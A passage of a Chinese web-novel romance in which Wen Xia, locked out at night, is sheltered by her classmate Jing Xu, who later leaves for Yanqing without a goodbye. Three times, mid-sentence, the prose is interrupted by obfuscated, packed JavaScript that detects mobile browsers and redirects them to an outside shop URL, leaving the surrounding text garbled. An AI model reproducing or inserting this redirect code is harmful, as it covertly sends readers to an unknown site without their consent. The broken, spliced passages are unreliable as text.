准备起身离开时,她看到景栩还坐在位置上,没有离开的打算,就把抽出一半的伞塞了回去。 雨打在树叶和地面,后来斜打在窗户上。 十分钟过去,雨声仍响得十分欢腾。 他一直看着窗外,温夏想,窗外此时的景色一定很美。 放晴的时候,大家一哄而出,温夏也慢吞吞地起身往外走。 四月天气好转之后,景栩放了一整个冬天的自行车重新拿了出来。 温夏走到校门口的时候,正看到他蹬着车离开。 她站在原地愣了好一会儿神,直到他消失在视野,才重新抬脚往公交站的方向去。 温夏提前一个站下了车,去精品店买了一些手工折纸。 她并不相信折满一千颗星星就能愿望成真的说法,她知道黄筝也不信。但有个寄托总是好的。 尽管很多事情是白日梦,她也想让这场白日梦更美好一点。 温夏折第一颗星星前,在折纸上写: 【希望有一天,你能回头看我一眼。】 - 这几天,齐子尧有些反常,之前的他课间必出教室,精力多得像用不完似的。但这几天一下课就趴着补眠。 好几次黄筝闲着无聊找他拌嘴,看着他趴在桌上的样子,又悻悻地放弃了。 没人知道他怎么了,直到周五中午。 齐子尧没跟平时的饭搭子一起去食堂,而是和温夏、黄筝一起。 他手背在身后,黄筝由下到上打量:“怎么了?笑得跟狗一样。” 齐子尧没跟她计较,神秘兮兮地给她一个盒子:“打开看看。” 黄筝一脸抗拒:“里面不会弹出什么丑东西吧?” 齐子尧脸上多了几条黑线:“咱们是相亲相爱的同学,我能用丑东西吓你吗?” 黄筝试探着打开了他递过来的盒子,看到里面的折纸星星,失语了好几秒:“你……” 齐子尧挠着头:“一千颗。” 他数了两遍。 黄筝不知道该作何反应,没敢看他:“我就是三分钟热度,只是心血来潮折了一天。我现在看别的肥皂剧了。” 黄筝像是想起什么,试探着问:“你这几天总一副没睡醒的样子,不会就是因为折这些东西吧?” 齐子尧否认:“不是,打游戏来着,这些是闲着无聊折的。草莓蛋糕你还想吃吗?” 黄筝傻笑两声:“那还是想的。” 齐子尧跑回座位,没一会儿捧着一个草莓蛋糕回来:“给你。” 他说完,放下蛋糕就跑了。 黄筝一脸茫然地,看向一旁一直没说话的温夏:“夏夏,他是不是吃错药了?他不会在蛋糕里放耗子药了吧?” 两秒后,黄筝自我肯定:“齐子尧这个刁民,想谋害本宫!” 温夏没敢掺和这对活宝的“战争”,笑着提醒:“再不走,食堂没饭了。” 19. 19 温夏折星星不似齐子尧那般激进。她想起来了才会折一颗放进玻璃罐子里,好几天没折的情况都有。 在温夏折到第三十二颗的时候,已经临近期末。 最后一个星期,几乎是复习课。 期末考试的前一天,景栩被老严叫出教室,说了几句后,景栩转身跑了。 他神色很慌张,温夏不知道发生了什么事。 他匆忙离开,后面两天的课没上,期末考试也没参加,连书包都是同桌帮忙收拾的。 考完试回到家,温夏才听邻居说,林婆婆前几天摔倒,住院了。 算起来,那天景栩应该就是收到林婆婆被送医院的消息。 这次期末考试的分数出得很快。考完第二天,老严就把成绩和排名发在了班群里。 温夏考得不错,但景栩因为没去考试,排在了最后一名。 她还是将排名和分数记录在了本子上—— 2015.7.11期末考 景栩:1251,0分。 温夏:15,817分。 看着这个排名,温夏忽然觉得有些好笑。 如果他参加了考试,毫无悬念地会是第一,这本该是她目前为止,离他最近的一次。 可他偏偏没有参加考试,排在了最后。 他们反而离得更远了。 她越努力,他们之间的距离越远。 像极了黑色幽默笑话集里的笑话。 考完试的第三天,将近零点,温夏从水果店回来,发现门锁了。 她知道这又是温悦玩的幼稚把戏,也知道敲门肯定不会有人开,放在门口的备用钥匙肯定早就被拿走了。 她今天搬了很多水果,又饿又累。 累到连生气的力气都没有。 在门口站了半分钟,温夏下了楼。 兜里有点零钱,她想去便利店吃点泡面垫垫肚子。 刚下楼,就遇到景栩。 沉默片刻,温夏问:“你还好吗?” 景栩点头。 “林婆婆还好吗?” “……还好。”景栩意识到时间,“这么晚了,不回去吗?” “我忘记带钥匙了,打算先吃点东西再说。你这么晚回来,林婆婆那边没关系吗?” 景栩打了个哈欠:“她休息了,我拿脏衣服回来,顺便带点干净的过去。” “那不打扰你了。”温夏说,“你先忙。” 景栩微微点头,随即从她身边擦过:“先走了。” 温夏看着景栩的背影消失,忽而想起那句“希望有一天,你能回头看我一眼”。 她苦笑着摇摇头,走向还亮着灯的24小时便利店,买了两包泡面。 等她把泡面吃完,景栩才拎着一个袋子从路口出来。他步子很大,走得很急,几秒钟的时间,已经完全消失在她的视野。 - 景栩到医院,看到外婆醒了。 老人家睡眠浅,被隔壁床起夜的动静吵醒,醒了就一直没睡着。 景栩陪她聊了会儿天。 他莫名想起刚才遇到温夏的事,随之而记起的,是她在水果店被打的画面。沉默两秒,还是随口说了句:“外婆,我刚才遇到温夏了。” “在医院?” “不是。刚才回去拿换洗衣服,在楼下撞见的。”景栩回忆了一下,“她说忘带钥匙了。” “你回去一趟。” 景栩投过去一个疑惑的眼神。 老人家叹了口气:“恐怕是被故意锁在外面了。如果她真没地方去,就让她住我们家。要是觉得太晚不想回来陪床,你就去外面找个酒店住。不要让小姑娘担惊受怕。” 景栩无法理解,为什么她会有这么难以形容的亲戚。 他弯腰帮外婆把床摇下来:“您安心休息,我把她安顿好就回来。” - 便利店老板是一个四十来岁的女人,大家叫她彭姐。彭姐在这一片开店十多年了,对周围的情况极为熟悉。 温夏这么晚过来,她就知道这个小姑娘今晚又得歇在她店里。 彭姐走到货架前,拿了两个面包和一瓶牛奶,走到温夏身边,放在她面前:“请你吃的。” 温夏没好意思收,拒绝了:“我已经够打扰您了。” 彭姐摆摆手,拿着面包和牛奶走了。 彭姐离开后,温夏从书包里拿出试卷,戴着耳机开始听英语听力。 试卷写了大半,温夏活动了下有些酸胀的脖子。 然后,她透过便利店的玻璃门,看到了景栩。 她看过去时,景栩也正好看过来。 她立刻躲开了他的视线,低着头,看着那张还没来得及订正的试卷。 景栩走进便利店,看到坐在白色小木桌前低着头的温夏,思考了几秒,决定先装模作样买几样东西,再假装遇见。 他在货架上随手拿了几包零食,才往她的方向走去,语气刻意夹杂了几分不确定:“温夏?” 温夏把耳机拿下来:“……好巧啊。” “很晚了,你要回去了吗?” 温夏愣了两秒,才说:“马上了。” 她边说着话,边把试卷和耳机装进书包里。 “正好,一起走吧。”景栩说完,晃了晃手里的东西,“我先去结账。” 从便利店出来,两人过了马路,又沿着环行路往上走。 这段路景栩一直在想,要怎么问她是不是被锁在外面了,却发现哪种问法都不太恰当。 到单元楼下,他终于找到一个相对适合的说法:“你家里有人吗?要是没人,你可以给开锁公司打电话。不过这个点了,应该都下班了。” 温夏没说话。 实在不知道该说什么。 她从来没遇到过这种情况。以前被锁在外面,她都是在便利店待一晚。 可在景栩面前,她不能这么说。 她讨厌从别人眼睛里看到同情。 尤其是从景栩的眼睛里。 她不想让自己看起来惨兮兮的。 景栩没等到回应,指着身后的单元楼,再度开口:“你会做饭吗?” 温夏被问得一愣,反应了两秒才点头。 景栩笑起来:“你要是没什么事儿的话,可不可以上去帮我做顿饭?” “什么?”温夏以为自己听错了。 “我今天还没来得及吃,这个点外卖也没了,我又不太会做饭……会很麻烦你吗,要是麻烦的话就算了。” “不麻烦。”温夏垂眸,不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13042744|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看他的眼睛,“只是我做的可能也不太好吃。” 她听见他说:“没关系。” 两人往前走。 温夏跟在他身后,他的影子被灯光投映在她脚下。 她看了一眼走在前面的人,在心里默数三秒,抬脚,轻轻踩在了他的影子上。 到了门口,景栩开了门,抬手摸了玄关处的开关,“嗒”的一声响起,客厅瞬间亮起来。 景栩带着温夏去了厨房,打开冰箱,里面没什么东西。 林婆婆习惯了每天都去菜市场买新鲜的蔬菜,现在里面只有两个鸡蛋和半斤排骨。 景栩不会不知道林婆婆的习惯。 但他还是用了“帮忙做顿饭”的理由。 温夏好像明白了什么。 她抿了下唇,神色恢复平常,指着橱柜上摆着的面条:“煮面可以吗?” “可以。”景栩把鸡蛋拿了出来,“煮面我会。” 说完,他烧了水。然后好像默认了她也吃,直接问了句:“鸡蛋你喜欢荷包蛋还是打散了炸?” “……都可以。” “你先去客厅坐一会儿,很快就好。” - 温夏在客厅坐了没多久,景栩端着两碗面出来,放在茶几上:“味道可能不太好,你多担待。” 等温夏吃了一口,他才继续问:“我不知道你的口味,盐放的少。会觉得淡吗?” “不会,刚好。” “那就好。” 两人都没再说话。 吃面发出的细微声响,被深夜档的偶像剧完全盖住,客厅只剩下女主角哭得撕心裂肺的声音。 景栩吃东西很快,吃完他起身,指着其中一个房间:“你今晚可以在这里将就一下,洗手间的台子上有一次性洗漱用品。我还要回医院陪外婆,就先走了。 “钥匙你明天走的时候,帮我放在消防栓箱里就行。” 在温夏还没反应过来的时候,他已经出了门。 温夏不会自作多情地以为,他会因为自己而特意从医院回来。 她明白他可能只是刚好看到她还在便利店,出于教养,才拐弯抹角地变出理由收留她。 他本身就是很好的人。 今天要是换了别的同学回不去家,他也会做同样的事情。 他像一个太阳,炙热又充满希望。 但是太阳从来不属于她,她从一开始就知道。 温夏胃口小,却还是把碗里的面吃了个干净。 她去厨房,把两个碗洗了放进消毒柜,又擦了灶台。再看时间已经快到凌晨三点。 她没去客房,窝在狭窄的沙发上,看着窗外的月色。 林婆婆家里有一个挂钟,她没多久就在“嘀嗒嘀嗒”声中,沉沉睡去。 - 大概是睡得太晚,温夏的生物钟失效。太阳从没关严实的窗帘处照射进来,落在她的眼皮上,她才忽然惊醒。 醒来缓了会儿,往墙上的时钟看了一眼,已经九点了。 她从沙发上起身,将靠枕放回原位,才拿上钥匙离开。 她没回大伯家,直接背着书包去了水果店。 她坐公交来的,下了车后就一路小跑。 所幸今天是大伯在店里,赵雁蓉没在。 20. 20 温悦第一次把温夏锁在门外,是她们上初一那年。 那次大伯开口骂了温悦,赵雁蓉知道后,直接动手打了温夏。那几天,赵雁蓉还把家里闹得鸡犬不宁。 从那之后,类似的事再发生,大伯也只是睁一只眼闭一只眼了。 温诚正在吃包子,等她走近些,才问:“吃早餐了吗?” “吃过了。”温夏扯了个谎。 她说完,就走到收银台出坐下,拿出笔记本开始默写数学公式。 一副拒绝任何交谈的模样。 温诚没再打扰她,去了店门口,偶尔能听到他和熟人交谈的声音。 下午天最热的时候,胡胖子到店里来了。 一般情况下,胡胖子舍不得买太贵的水果,来店里最常买的的就是西瓜,偶尔买点火龙果。这次却反常地直奔摆放车厘子的地方。 温诚看他站在车厘子的篮筐前,出声开启了闲聊:“哟,发财了?” 胡胖子摆摆手:“别提了,前段时间你嫂子出了个小车祸,是别人送她去的医院,这不是想着买点好东西答谢人家吗。” 温夏忽然写不下去了。 这么多年来,她每次被温悦锁在外面,都没麻烦过格格和程聿。 就是因为她太知道做人要知恩图报了。 她什么都没有,不知道该怎么拿什么答谢别人。 人情社会,只说一句“谢谢”是很苍白的。 自尊心作祟,她不想欠景栩什么,矫情地想追求某一方面的平等。 可昨晚他帮了她,她至少得去医院看看林婆婆。 犹豫再三,嘴唇都快被自己咬出血,她才小心翼翼地看向温诚:“大伯,我能……赊几斤水果吗?我想去医院探望朋友。” 她向来不会主动开口要什么,温诚的第一反应是愣住:“一家人,哪有赊不赊的。看中什么,直接拿就行。” 温夏低垂着眉眼:“谢谢大伯。” 她起身挑了些水果,放在收银台,想着等傍晚些再去医院。 赵雁蓉曾经警告过她,这个家没有一样东西属于她,吃穿用度,都是他们施舍给她的。这些东西,她以后都要还。 从那之后,温夏就开始把每一笔花销都记在本子上。 这次也没例外。 好不容易熬到傍晚,温夏收拾好书包:“大伯,我去医院一趟,会尽快回来做晚饭的。” 看着她小心翼翼的样子,温诚说不上的心疼:“今晚晚饭我做就行,你记得早点回来吃饭。” “谢谢大伯。” 半小时后,温夏到了医院住院部大厅。 景栩正好买完晚饭回来,看到她,惊讶了一下。 两人一同去了四楼,他们走进病房的时候,林婆婆正和隔壁床的病人聊得起兴。 温夏走过去,把果篮放下:“林婆婆。” “夏夏来了,快坐。”林婆婆看了果篮,“你来看婆婆,婆婆已经很高兴了,破费带什么水果。” “应该的。”温夏柔声细语,“您好点了吗?” “好多了。”林婆婆嗔了一眼景栩,“本来就是摔了一下,早就能出院了。他非得让我多住几天院。” 景栩把饭菜拿出来,又将一次性碗筷摆在老人家面前:“伤筋动骨的,检查仔细点好。” 一次性碗筷只有两份,剩下一份他给了温夏。 温夏起身:“我吃过了。林婆婆,今天就先不打扰您了,我先走了。” 林婆婆留她吃饭,她婉拒了。 推拉了几个回合,林婆婆才放她走:“阿栩,你送送夏夏。” “婆婆,不用了。”温夏说。 景栩倒不扭捏:“走吧,送你到楼下。” 温夏没再拒绝:“那麻烦了。” - 再见到景栩,是三天后。 温夏从水果店回来,正好在巷口遇见出院的林婆婆。 景栩拎着包,搀扶着她一步一步往前走。 温夏不自觉也放慢了脚步。 他们交谈不多,很快这段路就走到尽头。 之后的一整个假期,即使温夏每天都出门,也没再见过景栩。 枯燥乏味的日子很是难过,温夏一整个假期都像个机器人一样运作着。 她的生活和之前没什么不同,只是,因为某个人,心里滋生出了前所未有的期待。每天都期待见到他,期待跟他说话,期待和他留下共同的经历…… 熬到开学,她终于又在那块掉了漆的圆形站牌下,看到了骑着自行车飞驰而过的景栩。 新的一天,从那一刻开始,有了快乐的底色。 大家一个假期没见,好像有聊不完的话题。 黄筝这个假期出去玩了一趟,跑了三个热门的旅游城市。她一进教室就将卢杭挤走,凑到温夏旁边:“夏夏,我给你带的礼物。” 说着,她放了一个盒子在温夏面前。 里面装了纪念币和明信片,黄筝傻笑着:“都是我精心挑选的,好看吧?” “谢谢,很漂亮。” 齐子尧凑过来:“有没有我的份?” 黄筝一个白眼翻过去:“你哪位?” 齐子尧轻啧了声,捂着心口:“亏我还给你打饭,帮你占位置,帮你去学校超市跑腿……这才一个多月没见,你就连我的名字都不记得了?真是世风日下。” 经过一个学期的相处,黄筝已经不想和他斗嘴了。不知道从什么时候开始,她习惯了直接动手。 她一巴掌拍在齐子尧肩上:“巴掌礼,我特意为你准备的,独一份,喜不喜欢?” “你这说不过就动手的毛病能改改?”齐子尧表情夸张,“要打也行,下次轻点儿。” 黄筝漫不经心道:“你一见我就凑上来犯贱的毛病能改改?” “那改不了,你要打就打吧。” “……” 黄筝懒得理他,转头又和温夏聊了起来。 - 开学当天的第一节课,照例是班主任的。 老严在上课铃响之前半个小时走进教室,吵闹声在那一瞬间息了下去。 老严环视一圈,想起一分钟前,从窗户看到半数以上的学生都在补作业。现在还有偷偷低头补的。 他眼中腾起恨铁不成钢的怒气。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062524|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >想起三天前,有个学生跟他说不上学了,家里条件不好,准备北上打工。 他和其他几位老师去学生家,做了好几次思想工作,都没能改变学生父母的想法。 他现在看到这一步,把保温杯重重地摔在讲桌上,气愤又难过地开了口:“赶作业的停一停了。你们现在高二,已经是准高三生了,怎么连按时完成作业的事儿都做不到? “学习是良心活,你一天不学只有你自己知道,一周呢?一个月呢?上学期的期末考试,我们班平均分比二班低了整整五分。同为实验班,同一批老师教的,怎么人家能考好? “你们要有危机感和紧迫感,别以为高考还很远。时间快得很,一眨眼你就坐在高考考场上了。 “我希望你们能对自己的人生负责,努力走出去,而不是一生都困在树阳。即使以后你选择待在树阳,也只能是因为,你对外的世界厌倦了,真正认识到自己想要的生活了,思虑再三后,选择回来。 “但是在那之前,你是不是应该更努力一点,去更广阔的世界看一看?” 老严叹了口气:“你们现在,有明确的目标了吗?要去哪座城市,考哪所大学,想过吗?你的分数距离目标院校的录取分数还差多少?这些了解过吗? “人生是你们自己的,我希望你们负起责任来。” 说完,老严拿着保温杯走出了教室。 - 下午放学,黄筝和温夏一起下楼。 黄筝从老严说完那番话就蔫蔫儿的,这会儿看起来依旧没什么精神。 她挽着温夏的胳膊,和旁边的齐子尧说话:“齐狗,你有想去的城市吗?或者想考的大学?我总觉得这些离我们还好远。” 齐子尧转着球:“没想过,对我来说都没差。不过我比较想留在省内,离家近点儿。你呢,有规划了吗?” 黄筝想了想:“我想去云槿市。这次去旅游,我发现自己还蛮喜欢那里的。而且,我想学的专业,云大在全国也排得上名。” 齐子尧没再说话,低着头,转篮球的动作也停了,不知道在想什么。 黄筝看向温夏:“夏夏,你呢?” 黄筝问完这句,身后正好传来一句:“栩哥,等等我!” 而后景栩从温夏身边跑过:“我先去球场占位置!” 他心无旁骛地朝着自己的目标冲过去,始终没有回头。 温夏看着他的身影隐入人群,才淡淡收回视线。大概怕黄筝察觉自己的心意,她敛了眼皮,眸半垂着:“我还没见过雪。” 她忽然想起那晚广场上,他意气风发地说“人生当然是自己说了算”;想起他说“要做旷野上的一缕风,穿梭在四通八达的世界里”;也想起昏暗路灯下,他眸光闪闪,跟她说“别认命”。 顿了下,她又补了句:“我想去看看堰青的冬天。” 她声音很轻,却无比坚定。 对她来说,景栩是高悬在天边的太阳,可望不可及。她从没想过,要把太阳摘下来,变成私有。 她只是想,去看看他看过的世界,努力变得更优秀一些,努力地,靠近他。 哪怕只是一点点。 21. 21 或许是老严的话起了作用,班上大部分人神经一路紧绷,一天都不敢松懈,直到九月月考,才稍微松了口气。 九月月考定在了国庆假期的前一个周。 这次一班考得不错。比起上学期期末考,一班的平均分已经反超二班0.8分,年纪前十一班也占了七个。 老严眉开眼笑,成绩出来当天,买了四十九瓶AD钙奶,人人有份。 据说那天的总结会上,老严还当着全校老师的面说他们实现了弯道超车,以后也会把二班狠狠甩在后面。 但这个无从考证。 不过看二班班主任老肖一见到老严就翻白眼的反应,这大概率是真的。 老严一向严厉内敛,这倒颠覆了一班学生对他的认知。 同时也惊觉,原来老严这么爱他们。 他们的一点点进步,就可以让他这么骄傲。 - 温夏在第四排靠窗的位置。她坐在这个位置,看着紧挨着教室窗口的那棵树,树叶由碧绿转向枯黄,夏日里生机盎然的模样不知不觉间隐去了,枯叶落叠在地上,下雨时总带着一股微糜的潮味。 断崖式降温那天,温夏看到那棵树上只剩下摇摇欲坠的几片树叶。 风怎么吹都不掉。 她收回视线,搓了搓手。 不知不觉竟到了冬天。 树阳是南方小城,温夏无法理解景栩对冬天的描述——干燥,肃冷,像一把刀。 树阳的冬天,是软绵绵的湿冷。凉意附在每一缕风上,瞅准机会就从毛孔钻进身体,然后蔓延到四肢百骸,遍布身体的每一寸。 之前天气好的时候,温夏每个傍晚从水果店回来,都会遇到林婆婆。林婆婆要么刚买菜回来,要么是已经吃完晚饭下来散步消食。 天气转凉之后,温夏几乎没怎么遇到过她了。 入冬后,景栩重新开始搭公交,温夏和他相处的时间又多了起来。 放了寒假,和之前一样,她见到景栩的次数屈指可数。 这种状况一直持续到除夕前一天。 这天温夏午休醒来,用清水随便洗了把脸,装了两套题在书包里。走出房间,去厨房冰箱拿了个三明治,才出门。 她走出单元楼大门,看到走在前面的景栩。 温夏眉眼不自觉染上了笑,以往他们正面遇见,都是他先打招呼。今天温夏深呼吸两下,以一种自认为最自然的状态,喊了他的名字:“景栩。” 景栩回头:“温夏。” 温夏快步走到他身边:“你要出去吗。” “嗯。”景栩扬了扬手里对折的纸,是外婆写给他的清单,“去买点年货。” “林婆婆呢,好久没见她了。” “天太冷,她身体不好,我没让她跟我一起。” 气氛安静下来。 他们的对话总是这样,生硬地开始,再生硬地结束。 两人一同走过了陈旧的青石板路。因为要去的地方不在同个方向,景栩先上了公交,温夏还站在原地等。 除夕当晚,温夏没吃团圆饭,一直在房间里,听着大伯一家的欢声笑语。等听到“滚出来收拾餐桌”这句,她才起身出去。 赵雁蓉期间说了不少难听的话,她都沉默着听完了。 她不想像上一个除夕那样,起一些毫无意义的冲突。 把餐桌和厨房收拾干净,温夏跑下楼。 宋陆鸣没来,也不知道景栩会不会下楼。 温夏想,他应该会陪林婆婆下来转转。 可温夏在楼下等了又等,等到零点,他也没下来。 眼前是和上一个新年差不多的场景——在巷子间追逐玩闹的孩童,吃完团圆饭在巷口闲聊的大人,家家户户的窗户里透出明亮的灯光,还有满心期待的自己…… 只少了宋陆鸣和景栩,温夏却觉得,这热闹被打了个对折。 零点刚过,温夏抬头,正好看见林婆婆家熄了灯。 她眨眨眼,轻声对着窗户说了句:“新年快乐。” - 过完元宵就到了开学的日子。 开学第一个周的周四早上,景栩被老严叫出去就没再回来。 开学第二个周的某个大课间,有大胆的姑娘拿了一个粉色信封跑到一班教室里,问温夏:“同学,可以帮我叫一下你们班景栩吗?” 温夏被她手里的粉色信封晃得愣神半秒:“他……没在。” “那他坐哪里呀?” 温夏指了指景栩的位置:“那儿。” “谢谢啦!” 女生走过去,把信封放到了他的桌肚里。 温夏抬眼看过去。 景栩的座位空着好几天了,从那天被叫走,就一直空着。 那天他甚至连书包都没来得及收拾,新课本还规矩地摆在课桌上,没人动过。 林婆婆生病了,需要做手术,他请假陪护。老人家某天夜里突然发烧,半边身子也瘫了,左手和左脚完全动不了。 医生说做完手术可能会好转,但是老人康复力差,完全恢复的可能性不大。 林婆婆住院的第五天傍晚,温夏在楼下,遇到过回来收拾换洗衣物和洗漱用品的景栩。 他看起来憔悴不少,长出了极短的胡茬,眼底一片乌青,眼睛布满红血丝。 看起来像是很久没合过眼。 这件事发生得突然,景栩到现在都一阵后怕。 他不敢想象,要是他没在,外婆一个人该怎么办。 温夏看得心头一惊:“有什么需要我帮忙的吗?” 景栩摇头。 不过一秒,又改了主意:“你……会不会熬排骨汤?我按照网上都查到的方法尝试过,但外婆喝了两口就没再喝,应该是味道不行。 “如果你不忙的话,可以教教我吗。” 餐馆里能买到排骨汤,味道也不错。 但他想,自己好像还没为外婆做过什么,她爱喝排骨汤,他想亲手做。 温夏点头:“不忙。林婆婆家里还有排骨吗?” “好像没了。” 两人先去了趟菜市场,买了十斤排骨和其他所需要的食材。 景栩学得很快,但他总想煮得更好喝一点,尝试了很多次。 他尝试第三次时,客厅墙上的指针正好指到凌晨两点。 他没道理拉着温夏陪自己熬夜,就让温夏先走。 “没事,明天周末不上课。” 温夏觉得,这种时刻,能陪在他身边也是好的。 景栩也怕自己尝试再次失败,就没再说什么。 他试到最后,排骨只剩下一斤。 熬好汤,天已经快亮了。 他把汤装进保温盒,走出厨房,看到不知道什么时候睡着了的温夏。 她靠在沙发上,睡得很安稳。他没叫醒她,怕她着凉,去房间找了毯子给她盖上,才轻手轻脚开门离开。 - 林婆婆的身体似乎每况愈下,从春天到夏天,听说几乎大半时间实在医院里度过的。 景栩越来越频繁的请假也印证这一点。 细细想来,她以前能经常在巷口或楼下遇见林婆婆,还会陪她聊聊天。后来,碰见的次数越来越少。 一进入夏天,树阳的空气就变得粘腻无比。 巷口卖冰粉的小摊儿多了起来;各家超市和便利店里雪糕的种类和数量不知道什么时候也成倍增长;空气里多了冰镇西瓜的味道,蝉鸣声声不知疲倦,树叶眨眼间也层层叠叠堆起来,街道碧绿一片。 六月的某个周一,温夏被噩梦惊醒。 天还没亮,巷子里有人养鸟,这会儿鸟已经叽叽喳喳叫个不停了。她在床上盯着天花板发了会儿呆,才爬起来。 温夏出门时,天才蒙蒙亮。 她走到楼下,灯光昏暗,将她的影子模糊虚化了。 突然,眼前微弱的光亮没了。 ——单元楼下那盏将坏未坏苟延残喘的路灯,终于彻底报废。 到公交站,去学校的公交来了两班她都没上车。 到第三个班次,她看了看时间,望了一眼巷口,才上了车。 她已经快一周没见景栩了。 也不知道林婆婆在医院怎么样。 思绪随着车窗外快速倒退的风景乱飞,她想,等下午放学,去医院看看林婆婆吧。 林婆婆对她那么好,她哪怕是去陪老人家说说话也好。 不知道是因为早上那个被母亲亲手杀死的噩梦,还是因为昨晚忘记关窗户吹了冷风导致脑袋昏昏沉沉……温夏一整天都不怎么在状态。 好不容易熬到下午放学,数学老师还拖堂了十来分钟。 她在学校门口的小摊儿买了些水果,坐上了去医院的公交。 到了医院,温夏才恍然自己并不知道林婆婆的病房。 她去护士站询问,却得知,林殊菡女士十分钟前已经办理了出院手续, 温夏对护士姐姐道了谢,转身离开。 回去再把水果送过去也一样。 出院了,就意味着林婆婆身体好转。 是件值得高兴的事儿。 温夏走出医院大门时,天已经黑了。 车流流动缓慢,橙色和红色的车灯忽明忽暗,将眼前的街道,衬得像王家卫电影里的镜头。 陈旧,又充满难以言明的故事感。 医院门口没有公交站,得往左步行十来分钟,才有一个站。 温夏过去的中途,突然下起了暴雨。 她连忙从书包里拿伞,结果怎么都打不开。 她跑起来,到公交站时衣服已经被淋了个半湿。 所幸她运气不错,雨没再下,公交也来了。 上车后,温夏没来由地感到一阵心慌。 她很难形容那种感觉。像突然失去了什么,而明明什么都没失去。 只是,下过雨的空气本该是咸腥清透的,她却有些呼吸不上来。 只觉得空气依旧闷而沉。 思绪翻飞间公交停站。温夏下车,正好看见一辆黑色宝马从眼前驶过,因为下过雨,路面的积了浅洼,车轮碾过,溅了些泥点在她的校裤裤脚。 温夏并不懂车,但有一次和格格去求知堂,格格突突然喊:“”夏夏,别蒙我诶!” 当时温夏一脸正经解释:“真的没蒙你,这种方法背文言文真的有效。” 格格当时笑得眼泪都出来了,后来她才知道,格格说的是那辆停在路边的车,“别蒙我”是格格给BMW起的外号。 此时,温夏看了看裤脚上的泥点儿,又看了眼只留下一股尾气的车,微不可查的叹了口气。 车窗贴了黑膜,天色又暗,车子驶得快,温夏没看清车内光景。 只知道车子很旧,看起来像是开了很多年。 往里走了些,她遇到楼里的几位阿姨。 温夏跟她们打了招呼,陈阿姨难得见她拎着什么东西来,就多问了句:“夏夏拎着果篮来的呀?” 温夏乖巧点头:“买来送林婆婆的。” 陈阿姨“哎呦”一声:“你来晚了,她和那个小帅哥走了。” “什么时候的事?” “就刚刚。”陈阿姨说,“听说是回堰青了,什么都没带走,但好像说不会回来了。” “还回来干什么哟!人家本来就是富贵人家,体验结束就回去享福了呀!”另一位阿姨搭话。 她们说完,就一起往巷口走了。 她们期间还说了几句话,但温夏像是听不见了似的。只知道她们说话的声音越来越远,直到完全听不见。 温夏一个人在雨后的凉风里站了好久。 丝丝缕缕的风蛮不讲理地侵入每一个毛孔,凉意渗透全身,她却好像没有知觉。 她只是面无表情地、茫然地站在原地。 好几分钟后,她才反应过来似的眨眨眼。 他离开了,没有任何征兆,也没有任何道别。 就这么离开了。 没有任何征兆吗?好像也不准确。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周考成绩昨晚老严发在了班群,她记得自己这次排名和上次相比掉了两个名次。 她不说话,黄筝以为自己猜对了,拍了拍她的手安慰道:“老严都说了,这是一场马拉松,夏夏,你太累了,别给自己这么大压力。” 温夏苦涩一笑:“谢谢。” 整个上午温夏都昏昏沉沉,课间就趴在桌上补眠,黄筝叫她一起出去呼吸呼吸新鲜空气她也没去。 一整个上午温夏都没什么精神,视线时不时落在景栩的位置上,面无表情,眼神却藏着不易察觉的怅然。 上午第四节课刚下,老严带着一个西装革履的男人走进教室,而后温夏看到那个男人停在了景栩的课桌旁,干净利落地将其收拾干净。 男人收拾完毕,同老严握手:“严老师,这段时间麻烦您了。” 因为是午饭时间,教室里很快只剩温夏一个人。 她没什么胃口,今天黄筝的饭搭子就换成了别人。 她一眨不眨地看着景栩的位置。 她也不知道自己保持了这个姿势多久,直到下午一点半的午休铃响起,才渐渐回过神。 她觉得自己好像想了很多,又好像什么都没想,很乱也很空。 要说多难过,好像也算不上。只是觉得,心口处有一团软绵绵的东西堵着,堵得她不上不下。 很多人午休都不会回宿舍,通常是趴在桌上睡二十来分钟,醒来立刻学。 午休铃响起时,教室里已经有不少人,明明也没多热闹,温夏却觉得自己身处嘈杂闹市,耳朵被吵得疼。 没多久班上的李薇和隔壁班的林音聊着天进来,温夏敏锐地捕捉到了“景栩”两个字。 李薇说:“今天景栩他爸爸来我们班上了,把东西都搬走了。不过景栩这样的人,迟早是要回堰青的,树阳怎么可能留的住人。” 林音啊了声:“那不是他爸爸。那是他们家司机,前几天我在医院遇到了,喊景栩小少爷来着。” “哦难怪,我还以为景栩是像妈妈更多一些呢。” “……” “小少爷”三个字也被温夏的耳朵捕捉到,她晃了晃神。 一直都知道他优秀,也知道他家境优渥。 可“小少爷”三个字,还是让她对“优渥”两个词有了更具体的理解,也让她对横亘在他们之间的鸿沟有了更具象的认识。 他们之间,像两条短暂相交的直线。 因为某些原因,他来到树阳,同她有了短暂的交集。 现在只是遵循着渐行渐远的规律。 她也明白这世间聚散不由人。 所以没什么可难过的,不是吗? 可她突然鼻尖一酸,眼泪在她还没反应过来的时候,就已经从眼眶猝不及防地滑落。 她反应迅速地擦去,这一幕正好被回来的卢杭看到。 他什么都没说,只是沉默着递给她一包纸巾,她收下后就走出了教室。 